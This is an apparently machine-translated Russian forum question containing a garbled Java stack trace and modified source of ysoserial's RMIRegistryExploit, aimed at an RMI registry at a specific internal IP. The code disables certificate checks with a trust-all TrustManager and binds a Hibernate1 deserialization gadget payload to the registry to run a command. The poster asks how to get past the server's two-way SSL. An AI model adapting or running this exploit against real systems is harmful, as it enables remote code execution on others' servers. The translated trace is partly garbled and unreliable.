отладочная трассировка Получение ошибки соединения JRMP при соединении с хостом. У меня есть действующий сертификат сервера для RMI-соединения в формате .keystore, но я не знаю, как использовать этот сертификат для двухстороннего SSL-соединения.
Требуется ли какая-либо конфигурация в среде?
Я попытался импортировать файл .keystore в хранилище доверенных сертификатов Java в ../java/jdk8/jre/lib/security/
, но получаю java.lang.Exception: введите не сертификат X.509
Исключение: java.rmi.ConnectIOException: ошибка при установлении соединения JRMP;Вложенное исключение: javax.net.ssl.SSLHandshakeException: получено фатальное предупреждение: bad_certificate на sun.rmi.transport.tcp.TCPChannel.createConnection (TCPChannel.java:307) на sun.rmi.transport.tcp.TCPChannel.CewConnection (.java: 202) по адресу sun.rmi.server.UnicastRef.newCall (UnicastRef.java:338) по адресу sun.rmi.registry.RegistryImpl_Stub.bind (RegistryImpl_Stub.java:60) по адресу ysoserial.exploit.RMIRegistryExploit $:) at ysoserial.exploit.RMIRegistryExploit.main (RMIRegistryExploit.java:65) Вызывается: javax.net.ssl.SSLHandshakeException: получено фатальное предупреждение: bad_certificate at sun.security.ssl.Alerts.getSSLException (Alerts.jj): оповещенияsun.security.ssl.Alerts.getSSLException (Alerts.java:154) в sun.security.ssl.SSLSocketImpl.recvAlert (SSLSocketImpl.java:2020) в sun.security.ssl.SSLSocketImpl.readRecord (SSLSocketImpl.java:1127) в sun.security.ssl.SSLSocketImpl.performInitialHandshake.jl1security.j.7). .SSLSocketImpl.writeRecord (SSLSocketImpl.java:750) в sun.security.ssl.AppOutputStream.write (AppOutputStream.java:123) в java.io.BufferedOutputStream.flushBuffer (BufferedOutputStream.java.io.gt at. flush (BufferedOutputStream.java:140) в java.io.DataOutputStream.flush (DataOutputStream.java:123) в sun.rmi.transport.tcp.TCPChannel.createConnection (TCPChannel.java:229) ... еще 8
Пожалуйста, найдите код ::
public class RMIRegistryExploit {
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createsocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception {
final String host = "10.164.47.231";
final int port = 1099;
final String command = "args";
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + "Hibernate1";
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}